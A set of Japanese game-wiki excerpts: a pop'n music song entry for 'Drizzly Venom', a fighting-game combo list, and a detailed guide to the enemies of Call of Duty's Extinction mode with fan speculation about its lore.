意訳するならば、「私(クロス博士)の命を救っただけではない。あなた達は人類の運命を変えたのだ、私達(Exodusプロジェクトにおいて宇宙へと脱出する人々)はあなた達の犠牲を決して忘れないだろう。」といったところか。 印象がまるで正反対である。 しかし、アーチャーはクロスが裏切る的なことを言っていた。 メタ話になるが、これは恐らくスクエニ側がストーリを勝手にこうだと思い込んだ可能性と、スクエニ側にこういうストーリーという情報が渡された可能性がある。 その結果、このような訳になったのかもしれない。 実は・・・?IWのDLC第4弾ゾンビ、The Beast From Beyondのオープニングにて発覚した事実。 Extinctionは「映画」であることが判明。 このやや強引な設定が出た以上、Extinctionの続編はないと思われる。 インテル(吹き替え)
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[Drizzly Venom] 【ドリズリーヴェノム】 [時の妖花] ハイライト発生箇所 他のBEMANIシリーズへの収録 収録作品 ロング版収録 関連リンク ポップンミュージック うさぎと猫と少年の夢で登場した楽曲。 担当キャラクターは春日咲子(うさ猫-1P)。 メディアミックス企画「ひなビタ♪」を出典とする、春日咲子の担当声優が歌う曲。 SWEET SMILE HEROES ビターでスイートな七人の勇者の1曲として、ナビフェスで獲得できるイベント隠し曲。 Drizzly Venom / 日向美ビタースイーツ♪ BPM 147→168 新難易度 EASY NORMAL HYPER EXTRA 9 24 40 46 ハイライト EASY NORMAL HYPER EXTRA 4 4 4 4 SWEET SMILE HEROES ビターでスイートな七人の勇者の中で登場した「ひなビタ♪」関連曲。芽兎めうがプロデュース・企画した7人の勇者という形で登場した、みんなを癒すパーティーの回復役として位置づけとなっている春日咲子が歌うメタル。あまりひなビタ♪とは関わりがなさそうに思われた、あさきが作詞作曲を手掛けており、歌詞の中に読みづらい漢字が使われている辺りにあさきの要素が現れている。メタルの作風の通り別名義のSis Bond Chit路線を思わせ、ここでの咲子は曲名の「毒(Venom)」の通り漆黒のスペシャルプリンセスサンデーのような闇路線の方である。 最初の歌い出し前まではテンポが少し遅いという速度変化である。ハイパーは難所で大階段が絡んできて、それ以外は同時押し中心でゲージを稼げるという構成。階段への苦手意識が無ければ、このレベル帯にしては比較的フルコンボを狙いやすいだろう。EXは難所の階段が二重になった発狂と化し、特に前半はLv46にしては非常に厳しい配置となっているため、中盤以降で易しくなる同時押しでゲージを稼いでクリアゲージに持っていく形になるだろう。クリアなら比較的易しめだが、メダル更新に苦戦しやすいか。 ハイライト発生箇所 番号 5Buttons / EASY NORMAL HYPER EXTRA 1 2 3 4 他のBEMANIシリーズへの収録 ジャケット GITADORA(GUITARFREAKS&drummania) Matixxで登場。2017/10/10~のモンスター討伐クエスト 凛 咲子編において、チェックポイント2でこの曲を獲得する。※厳密には他の機種と同時登場ではないが、収録が確定したため同時登場として扱っている。 jubeat clanで同時登場。 この機種のみ表記BPMは「168」のみとなっており、ジャケットはKONAMIロゴ付になっている。 REFLEC BEAT 悠久のリフレシアで同時登場。 SOUND VOLTEX IVで同時登場。 富士見書房での小説・コミック連載も兼ねている作品・声優を起用しているということもあってか、コナミオリジナル曲ではキー音が入っていない楽曲である。 収録作品 AC版 ポップンミュージック うさぎと猫と少年の夢からの全作品 2017/09/28より追加配信により登場。ナビフェスで獲得できる。 CS版 ロング版収録 SWEET SMILE HEROES 関連リンク ナビフェス あさき ひなビタ♪ SWEET SMILE HEROES ビターでスイートな七人の勇者 春日咲子 楽曲一覧/ポップンミュージック うさぎと猫と少年の夢
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戻る vs ソル 投げ 中央投げ 6P 6HS Sカーカス 6P 6HS Sカーカス 6HS デュビ [ダメ126前後] 6P 6HS Sカーカス 6HS デュビ [ダメ104前後] 6P 6HS 生成 6HS 生成 [ダメ85前後] 近S HS生成 近S 6P 6HS 瞬間移動 着地際JHS 生成 [ダメ82前後] 端投げ 6P 6HS Sデュビ 2S Sデュビ 2S デュビ 生成 [ダメ117前後] 6P 6HS Sカーカス 6HS Sデュビ 2S Sデュビ 2S デュビ [ダメ129前後] 6P 6HS Sカーカス 6HS Sデュビ 2S デュビ [ダメ122前後] ※推奨 ダッシュ6P 6HS HS生成 ダッシュ6P 6HS Sカーカス ダッシュ6HS デュビ [ダメ126前後] ダスト D JHS JHS 着地 6P 6HS Sカーカス 6HS デュビ [ダメ147前後] D JHS JHS 着地 6P 6HS Sカーカス 6HS S生成 遠S HSモビ [ダメ160前後] D JHS JHS 着地 6P 6HS デュビ [ダメ120前後] D JHS JHS 着地 近S 6P 6HS 生成 6HS 生成 [ダメ128前後] D JHS JHS HSスト [ダメ77前後] 端付近 D JHS JHS 着地 6P 6HS Sカーカス 6HS Sデュビ 2S デュビ [ダメ159前後] D JHS JHS HSスト 6HS Sデュビ 2S デュビ [ダメ134前後] FBスト 低空FBスト 着地 6P 6HS Sカーカス 6HS デュビ [ダメ156前後] 低空FBスト 着地 6P 6HS Sカーカス 6P 6HS Sカーカス 6HS デュビ [ダメ194前後] 低空FBスト 着地 S 6P 6HS 生成 6HS 生成 [ダメ124前後] 低空FBスト 着地 6P 6HS S生成 遠S HSモビ [ダメ160前後] 端付近 低空FBスト 着地 6P 6HS Sデュビ 2S Sデュビ 2S Sデュビ 2S デュビ 生成 [ダメ183前後] 低空FBスト 着地 6P 6HS Sカーカス 6HS Sデュビ 2S Sデュビ 2S デュビ 生成 [ダメ198前後] ※推奨 低空FBスト ダッシュ6P 6HS HS生成 ダッシュ6P 6HS Sカーカス ダッシュ6HS デュビ [ダメ196前後] ネタ 端が遠めの投げからダッシュ6P 6HS D生成 6HS HS生成 ダッシュP生成 P弾き 転移 裏周り N択 画面端投げ Kデュビ D生成 2k 近S 6HS S生成 HS生成 FBカーカス
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敵一覧 ライノ/マンモス以外は弱点で止めを刺すと1.5倍のキャッシュを得られる。弱点は口の中や背中等で必ず光っている。 弱点にダメージを与えた時は赤いヒットマークが発生する。 アシストなら約半分のキャッシュを得る。 スカウト/シーカー/ボマーのアシストを得るには僅かなダメージでいいが、それ以外はある程度ダメージを与えないとアシスト扱いにならない。 現在、キャッシュ半減エリアはMaydayの甲板エリアとクラーケン戦前半のみ。(Nightfallでは全域で半減しなくなっている) スモールウォレットレリック使用中だと、獲得できるキャッシュは3/4程度に減少する。 なお、実際のゲーム中でも「エイリアン」「クリプティッド」「クリーチャー」など複数の表記が混在しているが、いずれもExtinctionに登場する敵性生命体の総称である。 画像 名称 キャッシュ Scout スカウト $60~90(PoCの小屋エリアのみ$80) (キャッシュ半減エリアでは$30)(スモールウォレット有効時$45) (小屋エリアだと$60) 序盤に最も多く出現する敵。さほど体力は高くないが、体が小さく攻撃を当てづらい。正面には装甲がついているので後ろから倒すと弾薬を節約出来る。ナイフ2回で倒せるため序盤は弾薬を節約しよう。ただ3体以上に追われると対処が難しくなりダウンする可能性が高くなるため注意。なお「Scout」を日本語に訳すと「偵察兵」。 Scorpion スコーピオン $200~300(PoCの小屋エリアのみ$260) (現在、キャッシュ半減エリアでは出現しない)(スモールウォレット有効時$150) (小屋エリアだと$195) Point of Contactでは最初のバリアハイヴ以降に出現。その名の通り、サソリのような姿をしていて、高所に陣取り、尾から酸性の液体を飛ばしてくる。この酸のかかった地面からは一定時間ガスが発生し、ガスに触れている間は継続してダメージをうける。またPoCではヘリに対する攻撃も行うので、バリアハイヴをヘリが攻撃している際には優先的に倒したい。ある程度ダメージを与えるとコケるため倒したと勘違いしやすいが、その後起き上がり再び攻撃してくる。しっかりと倒しきろう。サーマルや五感ブーストがあれば確認が楽になる。終盤は大量に出現するため、素早く倒さなければ酸によって発生した多量のガスで苦しい局面に立たされることになるだろう。酸で死んでしまったらHGでスコーピオンを攻撃しつつ、蘇生側のことを考えガスから抜け出そう。蘇生側も冷静にスコーピオンを排除してから、蘇生に取り掛かりたい。共倒れなんてもっての他。攻撃方法が酸発射しかないので、接近戦に持ち込めば楽に倒しやすい。ちなみに、スコーピオンのガスは対象を「窒息死させる」ものであるらしい(ロード画面で確認)。しかし、アーマー耐久値が減る時点でどう考えても「溶かしている」ガスである。 Rhino ライノ 最大$1300(与ダメージによって変動)(キャッシュ半減エリアでは最大$650)(スモールウォレット有効時最大$975) ダンゴムシにも似た厚い装甲を持つクリプティッド。地中から地震をともなって出現する。攻撃力がとても高く、攻撃範囲も広い上に撃たれても怯まない。…が、格闘攻撃で稀に怯む。装甲が非常に硬く、AP弾やデスマシーンを使わなければ素早く倒すことは難しい。地表に出てくるときに弱点を晒すのでそこを狙おう。また、腕には装甲がない為そこを狙ってもよい。Point of Contactでは、2つ目のバリアハイヴ破壊後、Nightfallでは、一体目のブリーダー撃破後から出現。○(Point of Contact)核起動までの固定出現ポイント・一つ目のバリアハイヴ破壊後、都市に入ってすぐにあるハイヴの隣の建物の屋上(攻撃を当てなければ去っていく)・二つ目のバリアハイヴ破壊後、農場のほうから現れる(攻撃を当てなければ去っていく)・二つ目のバリアハイヴ破壊後、農場のL115がある建物でシーカーと戯れている(攻撃を当てなければ去っていく)・農場エリアに入って1つ目のハイヴ、3つ目のハイヴ、最後のハイヴ掘削中に、ハイヴの正面に出現する。(物置ハイヴでは1階に出現する)○(Point of Contact)核起動後の固定出現ポイント・核起動場所から第1シーカー出現地点(一つ目の行き止まり)までの間。電流フェンス付近に同時に2体出現。・上記2体を瞬殺すると家の横の小道に2体追加。・第1シーカー出現地点から第2出現地点までの間。トラック付近に同時に2体出現。・上記2体を瞬殺すると行き止まり横のゴミ箱裏に2体追加。・第2出現地点からヘリまでの間。やはり2体同時出現し、追加で2体出現する模様。ソロプレイか2人プレイでは1体ずつしか出ない。Exodusでは最終ゲート時に5体出現する。ソロなら3体。ちなみに、プレイヤーが抜ける等して、たとえ一人になってもソロプレイで開始しない限り5体出現するので注意。「Rhino」は動物の「サイ」を表す。 Seeker シーカー $100~150(PoCの小屋エリアのみ$130) (キャッシュ半減エリアでは$50)(スモールウォレット有効時$75) (小屋エリアだと$100) プレイヤーやセントリーガン等に近づいてきて自爆するクリプティッド。PoCでは都市エリアの二番目以降のハイヴにおいて出現。出現する際は大きな赤い隕石が落ちてきて、そこから出現する。スカウトに似ているが、色と走り方の違いで区別出来る。自爆攻撃はかなり判定が広く、至近でのダメージも馬鹿にできないので近づかれる前に倒すことを心がけよう。体力が低いので、炸裂弾やトラップがとても有効。隕石の真下に居て落下の直撃を受けると大ダメージを受けてしまう。落下前の落雷を確認しよう。「Seeker」は「探索者」という意味。 Hunters ハンター $200~300(PoCの小屋エリアのみ$260) (キャッシュ半減エリアでは$100)(スモールウォレット有効時$150) (小屋エリアだと$195) PoCでは都市エリア以降で出現。サイズはスカウトよりも少し大きく二足歩行で、固い装甲と高い攻撃力を持つ。プレイヤーのスプリントを上回る速度で移動するため、五感ブーストなどが無ければ逃げることは不可能。ドリルに飛びつかれると高速でドリルのHPが削られる上、終盤ではスカウトに替わって大量に出現するようになるので、少人数だとライノやスコーピオンに次いで厄介。言うまでもないが意味は「狩猟家」。人間を狩る存在であるクリプティッドはある意味全員がハンターかもしれない。 Leper レパー $200(PoCの小屋エリアのみ$260) チャレンジ専用のクリプティッド。体形はハンターにそっくりだが、頭部が赤くなく黒い。プレイヤーから逃げるようにマップを移動する。五感ブーストを発動させ、マップの隅でじっとしているハンター体型のクリプティッドが居たらコイツの可能性が高い。ドリル展開直後のクリプティッドの群れに混じって出現する事が多く、ダメージを負ったまま逃げられるかチャレンジの制限時間が尽きると消滅する。「Leper」はのけ者の意味。 Phantom ファントム $1000~1500(キャッシュ半減エリアでは$500) Nightfallから登場。姿や動きはハンターに似ているが、目と口が青く光っている。「幽霊」の名前の通り、ジャンプする時に姿を消して移動する。(姿を消すというより、煙になると言った方が近い)ただし、姿を消している間でも当たり判定はあるので、動きを読めばダメージを与えられる。五感ブーストを使用すれば、姿を消しても丸見えとなる。攻撃はアーマーの防御力を結構貫通する上に、攻撃力もライノ並みに高い。倒せば多額のキャッシュがもらえるので優先的に倒したい。催眠ナイフを刺す事ができればそこそこの活躍を期待できる。ちなみに、敵の時は一撃離脱を基本的に行うが、味方にした際はどういう訳かかなり積極的に攻撃を行う。高い攻撃力と機動力が頼りになるが、チャレンジの邪魔になる場合があるので、過信は禁物。 Breeder ブリーダー 一度目:なし(撃破後に1スキルポイント獲得し、さらに$2000入りのクレートが投下される)二度目:なし(撃破後に何故か1スキルポイント入る) Nightfallのボス。第一エリアの最後とNightfallステージの最後の2回出現する。攻撃パターンは基本的に掃射攻撃・エッグ放出・赤い毒霧爆弾の3つ。プレイヤーが接近すると前脚による打撃攻撃も行う。攻撃してくる時は直前の動きや音で判るので、機敏に判断して動こう。掃射攻撃はまともに喰らうと一瞬でダウンするので注意。エッグからはハンターが出現する。終盤での戦いでは、半分まで体力を削ると屋根に逃げて行き、代わりにライノやファントムを含む敵ラッシュが発生する。一定数倒すと下に降りてくる。その後は付近のタワー状のオブジェクトに花が咲いて体力を回復してくるので、花を壊しながら戦おう。名前の由来は、「張本人」といった意味の「Breeder」と思われる。 Seeder シーダー $1250(甲板エリアとクラーケン戦前半のみ$625) Maydayに登場。スコーピオンの代わりで追加された。大きさはシーカー(シーカーの色違い)ほどだが体力がとても高くお馴染みの酸はもちろん、胞子を吐き出し自動砲台のような植物を生成する。厄介だがその分倒した時のキャッシュが高額。放置すると胞子が大量に立ってしまうので最優先で倒そう。また胞子は武器指定キル、トラップキルなど クリプティッドキル関連のチャレンジにはカウントされない ので注意。天井や壁を這い回っているため見つけにくいが、五感ブーストがあると胞子の場所もハイライトしてくれるので楽。「Seeder」には種まき機といった意味がある。かなり的を得た名前ではないだろうか。 シーダーターレット $25(甲板エリアとクラーケン戦前半のみ$15) シーダーが生成する植物。一定間隔で胞子の弾丸を吐き出してくる。大量に生成されると非常にやっかいな敵である。手遅れになると視覚外から大量の胞子攻撃を受けあっという間にダウンしてしまう。体力は高くないのでダウン中のハンドガンで一つずつ潰していこう。出来ることなら生成させないのがベストである。倒してもキル系チャレンジのノルマにはカウントされない。 Kraken クラーケン なし(撃破後に何故か1スキルポイント入る) Maydayのボス。コンテナのある広い甲板で戦うことになる。攻撃パターンは触手の振り下ろし、咆哮、EMP咆哮、ダメージ床の四つだが、戦闘中にはシーダーを含むクリプティッドが大量に出現するので、そちらの掃討を優先したい。触手の振り下ろしは動き回っていればまず当たらないが、付近に発生する衝撃波にもダメージ判定と視界の揺れがあるので注意。一定時間が経過するか、クラーケンにある程度のダメージを与えると発光し、床ダメージ攻撃を行ってくる。中央のハイヴ跡のような場所と、四隅のタレットがある場所(狭いので注意)以外にいるとダメージを受ける。行動が制限される上、その間もクリプティッドが沸くので難所となるが、床攻撃中はクラーケンに攻撃が通りやすくなるのでターレットやウェポンスペシャリストアップグレード等で大ダメージを与えるチャンス。一定のダメージを与えるとクラーケンが怯み、床攻撃が終了するが、その後EMP咆哮(ダメージ+アビリティがしばらく使用できなくなる)をしてくるのでコンテナの陰に隠れよう。この咆哮はセントリーガン等を即座に破壊してしまうので、壊されたくない場合は物陰に置いておこう。「Kraken」とは、北欧の伝承等に登場する船を沈めるとされる巨大なイカによく似た海の化物。船の上で戦う話が多く、それを元にしたのか、戦いの舞台は船の甲板エリアとなっている。油断すると海の藻屑となってしまうので、全力で戦おう。 Hiveハイヴ なし(撃破後にボーナスキャッシュと1スキルポイント) 有機的組織の塊に花のような部分を持つその名の通りクリプティッドの巣。持参したレーザードリルで一つずつ破壊していく事になる。掘削中はクリプティッドが襲来し、さらに何らかのチャレンジが発生する。銃火器は一切受け付けず、ドリルの掘削でしかダメージを与えられない。破壊に要する時間はハイヴによって大きく異なるが、基本的には3分程度。ハイヴの位置はエリアによって毎回異なる。ちなみに「Hive(s)」には「じんましん」という意味も含むが、確かに花の部分以外はそう見えなくもない。 バリアハイヴ なし(撃破後にボーナスキャッシュと1スキルポイントを獲得し、さらに$3000入りのクレートが投下される) Point of Contactに登場する大型のハイヴ。モーテルエリアと都市エリアのボスのような位置づけ。レーザードリルでは掘削不可能で、火力で破壊する事になる。通常のハイヴとは異なり、戦闘中にチャレンジは発生しない。バリアハイヴとの戦闘にはプレイヤーの乗ってきたヘリも加勢してくれるが、地上のスコーピオンから狙い撃たれると一時離脱してしまうため、バリアハイヴを攻撃する傍らスコーピオンの排除も必要となる。耐久力は非常に高い。焼夷弾、グレネードターレット、SOFLAM、リーサル類、プロパンボンベ、ウェポンスペシャリストアップグレード等が有効。銃撃の場合は一番大きな花の部分にしかダメージが通らない。 ブリーダーエッグ $200 Nightfallの二度のブリーダー戦に登場。ブリーダーの尾から2~4個ほど空中に放出され、着地後に中からハンターなどが孵る。孵る前に撃って壊せば孵る事は無く、さらに$200獲得できる。孵る前に壊すチャレンジも存在するため、なるべく孵る前に壊そう。なお、大きさは数倍異なるが外観はVenom-Xの弾薬に酷似している。 ブリーダーの花 $400 Nightfallのラストのブリーダー戦に登場。後半戦になると、ブリーダーはこの花からエネルギーを吸い取って体力を回復させてしまう。回復される前に壊しておきたい。壊しても一定時間で復活するので、小まめに壊しておこう。体力は意外と高い。 Bomber ボマー $100~150 Awakeningでシーカーに代わって登場。身体は小さく緑色で、コウモリのような体形。空中を飛行している。シーカーと同様、プレイヤーに対して自爆特攻を仕掛けてくる。特攻する前に空中で静止するので、静止している間に倒してしまおう。身体の小ささ故に当たり判定も小さいので、手数の多い武器の方が有利。ACOGスコープやホロサイトがあると狙いを付けやすい。「Bomber」には、爆弾魔といった意味がある(自爆特攻のような攻撃をしてくるのであながち間違ってもいない)。 Gargoyle ガーゴイル $500~750 Awakeningに登場。悪魔を彷彿とさせる姿のクリプティッド。基本的に空中を飛行している。シーダーの胞子植物と同じような銃撃を浴びせてくる。物陰に隠れて銃撃をかわしながら、射程の長い武器で攻撃しよう。たまに地上に下りてくる。割と作り込みが甘いようで、空中でも地上でも頻繁に地形にめり込んだり嵌ったりする。目の前でいきなり消滅する事すらある。催眠ナイフと催眠トラップも無効。インテルの中にこいつの説明があるが、どうやら、単純な戦闘力は戦闘ヘリを墜とすことが出来る程で、しかもレーダーに探知されないという能力まで備えているようだ。「Gargoyle」は「怪物を象った石造」を表す。様々な造形があるが、その多くが悪魔のような姿をしている。 Mammoth マンモス 最大$2000(与ダメージによって変動) Awakeningに登場。見た目は青っぽくなっただけのライノだが、ライノより体力が高く、地面を叩いて新たにハンター2体を呼び出したり地面に潜る能力を持つ。稀にオベリスクのスキャン中に出現する事があるが(条件不明)、基本的には設計図/ロッカー/アークの置かれている部屋にのみ出現する。武装の貧弱な序盤に遭遇してしまうと極めて危険。全員の武装が整うまで前述の部屋に近付かなければ問題ない。アーマリーのライノ催眠ナイフを習得していても催眠ナイフは無効。「Mammoth」は古代の生物の他「巨大」という意味も含む。 Awakeningの植物 $25 Awakeningに登場。シーダーターレットの色違い。スキャナー起動時、その周辺にニョキッと生えてくる。弾丸は発射してこないが、接近すると毒ガスを噴き出させてくる。倒しても毒ガスが発生。幅の狭い道に生えている事が多く、通行の邪魔になるので余裕があれば壊しておこう。倒してもキル系チャレンジのノルマにはカウントされない。 Ancestor古代人 $3500(さらに1スキルポイント) Exodusに登場する、クリプティッドを操る古代生命体。存在そのものはAwakeningで確認された。Awakeningの終盤に登場した兵器「メデューサ」にこいつの脳が使われている。攻撃方法も多種多様かつ厄介なものが多い。稀にバグなどで古代人の死亡演出が入ったにも関わらず、演出終了後しばらく平然と立ち続けていることがある。さらに死亡時の独特な光が残っており、非常にシュールである。古代人は消滅した時点で$3500貰える。何が言いたいのかというと、つまりこのバグに遭遇するとなかなか$3500が貰えず、キャッシュに余裕がないとアーマーや弾薬が出せなくなりピンチになる可能性がある。ソロでは確認されていないが発生した場合、絶対絶命になる可能性があるので注意。 攻撃パターン ・クリプティッド召喚クリプティッドを出現させる。まだまともな方で、対策も簡単。・バリア展開自身の周囲に青白いバリアを展開する。これを剥がさないと攻撃が通らない。NX-1ディスラプターのチャージショット及びNX-1グレネードを当てることで剥がせるので、協力プレイでは誰か一人だけでも装備しておこう。・念動力によるプレイヤー拘束念動力でプレイヤーを捕まえ、手前に引き寄せる。引き寄せられたプレイヤーは動けなくなるが、かなり集中する必要があるのか、古代人もその場から動かなくなる。大きな隙ができるので、協力プレイでは、引き付け役(危険なのでタンクが望ましい。メディックでも良いが、回復役を潰すことになるので注意)が敢えて捕まることで他のプレイヤー達で集中攻撃が行えるので、覚えておくといいかもしれない。・エネルギー体の投射攻撃古代人のメイン攻撃。謎のエネルギー弾(おそらく超能力由来)をプレイヤー及びジェネレーターに当てる。ジェネレーターの耐久力を大きく減らし、プレイヤーを狙った場合、ホーミングしてきて避けづらい上に威力も高いのでとても厄介。トロフィーシステムによる迎撃が可能なので、見つけたら設置しておくといい。 催眠ナイフ フレア スタン 発火 装甲 備考 スカウト ○ ○ ○ ○ ○ スコーピオン ○ ○ ○ ○ ○ ハンター ○ ○ ○ ○ ○ シーカー ※ ○ ○ ○ × ※刺すと死亡する ライノ ※ × × ○ ○ ※アーマリーが無ければ無効アーマリー無しでも催眠トラップは有効 レパー ※ ○ ○ ○ ○ ※刺すと死亡する ハイヴ × × × × × バリアハイヴ × × × ○ × ファントム ○ ○ ○ ○ ○ ブリーダー × × × × ※ ※ダメージが通るのは弱点のみ ブリーダーエッグ × × × ? × ブリーダーの花 × × × × × シーダー - ○ × ○ × シーダーが唯一登場するMaydayには催眠ナイフが存在せず、刺す事は不可能 シーダーターレット × × × × × クラーケン × × × × × ボマー ※ × × ○ × ※刺すと死亡する ガーゴイル ※ × × ○ × ※ダメージのみ通る マンモス ※ × × ○ ○ ※ダメージのみ通る Awakeningの草 × × × × × 古代人 ※ × × ○ × ※ダメージのみ通る ダメージ検証動画 ※茶番が多いですがしっかり解説してくれています 勝手な考察 + クラーケン インテルに、サマンサが毒ガスで死にそうな時にクラーケンの触手につかまれ気づくと古代人たちの場所にいた、というような描写がある。これはサマンサがワープしたと考えられる。つまり、クリプティッドが触手から出でくるのはそのテレポート技術を応用したものと考えられる。クラーケンは古代人やサマンサのように、特殊な能力を使うことができるクリプティッドだと思われる。(または、クラーケンにその能力がなく、古代人がそうやって触手にクリプティッドをワープさせていることが考えられる。) + 古代人 彼らにとってクリプティッドはただの兵隊でしかなく、クリプティッド達にとっては「王」の役割にある。 どうやら、クリプティッド達は古代人のテレパシーによって統率されていた模様。(古代人の末裔であるクロス博士がクリプティッドを制御していたと思われる描写がMaydayのインテルの中にある) 古代人の撃破時に発生する衝撃波に巻き込まれたクリプティッド達が死亡することについては、おそらく、「王」たる古代人と「兵隊」であるクリプティッド達は古代人のテレパシーによって互いにリンクしており、古代人が死亡した際にそれがクリプティッド達に伝播した為と思われる。(他に、古代人の超能力エネルギーの暴走、古代人が周囲のクリプティッドに自壊の命令を下した等が挙げられる) NX-1ディスラプターとNX-1グレネードのパーツに「脳」と付いたパーツがあるが、全て古代人の脳(おそらくは大脳皮質)由来と思われる。 この武器で古代人のバリアが剥がせる理由については、古代人の超能力エネルギーを兵器へ転用した武器だからかと思われる。(NX-1ディスラプターの弾数が事実上無限なのもこう考えれば合点がいく) メデューサデバイスでクリプティッドが一掃出来るのは、古代人のテレパシー能力を利用して、クリプティッドたちに自壊の「命令」を与えて破壊させるためと考えられる。 + レパーなど各種クリプティッド レパーを除く全てのクリプティッドは身体の一部分が発光していて、死ぬとそれが消える。そして、この発光しているクリプティッド達は積極的に人間を殺しにかかってくるという共通点がある。しかし、発光していないレパーは積極的には攻撃を仕掛けてこない。(稀に攻撃してくる)これはつまり、他のクリプティッド達は古代人に洗脳され操られているという可能性を示唆している。歴史に「旧人を新人が滅ぼした」というのがあるように、クリプティッド達も昔は平和に暮らしていたのが、そこに現れた古代人という高度な知能を持った者達によって支配されてしまったと思われる。つまり、レパーは古代人から洗脳されなかった、もしくは自力でその洗脳から逃れた少数派のクリプティッドであり、容姿から察するに、洗脳される前のハンターだと思われる。(余談だが、ファントムやマンモスは古代人によって特殊能力を授けられたハンターとライノであり、それによって空中で透明になったり、ハンターを召喚できる能力を持っていると考えられる。シーダーはMaydayにしか登場していないので、シーカーをベースにアーチャー達が創り出したクリプティッドだと思われる。操っているのは古代人ではなく、サマンサだと考えられる。サマンサが古代人のところへワープしたあたりのクラーケン戦から古代人が操っているかもしれない。)また、話が変わるが、催眠ナイフや催眠トラップは、古代人のクリプティッド達に対する指揮命令権を古代人からこちらに変えているので味方にできると思われる。レパーには元からそのような指揮系統が無いため、催眠系は効かないと考えられる。マンモスとガーゴイルに催眠系が効かないのは、古代人の完全な支配下にあるために指揮命令権を変えられないと思われる。レパーとマンモスとガーゴイルには催眠系が効かない代わりにダメージを受けたり死んだりする理由は、催眠系はその指揮命令権を変更できなかった場合、対象にダメージを与える効果があると思われる。(また余談になってしまうが、アーマリーの「ライノ催眠ナイフ」は催眠系の指揮系統変更作用を強化する事によってライノを味方にできると思われる)アーチャーはインテルで、「クリプティッドの脳は人間の脳と非常に似ている」と言っている。少し意味が違うかもしれないが、大抵の人は通常は攻撃的ではなく、危険を感じて初めて逃げたり反撃したりして自分の身を守ろうとする。それと同様でレパーも、他のクリプティッド達が戦っていてもそれに関わらなかったり、人間から攻撃されたら逃げたり反撃したりするなどと理性がある。他のクリプティッド達は古代人に洗脳されているので、命を顧みずに自爆したり(シーカーやボマー)、仲間の巻き添えなど意に介さずに攻撃したり(ブリーダー/クラーケン/ガーゴイル)、逆にその巻き添えを避けようとしないで人間に突っ込んできたり(スカウト/ハンター/ライノ等)と、完全に理性を失っている。シーダーは理性がある人間が創ったものだからなのか、攻撃はするものの、無限に生成可能なシーダーターレットに攻撃してもらい、自分は逃げるので、恐らく理性は少しあるかもしれない。また、自分が万が一死んだときに自爆して相手を巻き添えにしようとしたりする行為も、相手にやり返すためのものだと思われる。そう考えると、やはりシーダーは人間が創ったかもしれない。普通なら、やり返すという報復はいらないはず。なので、スコーピオンにシーダーターレットを生成させるように改造するということもできたかもしれない。しかし、人間のやり返すという思考が、相手に報復するため死亡時に自爆するシーカーをベースにしたと思われる。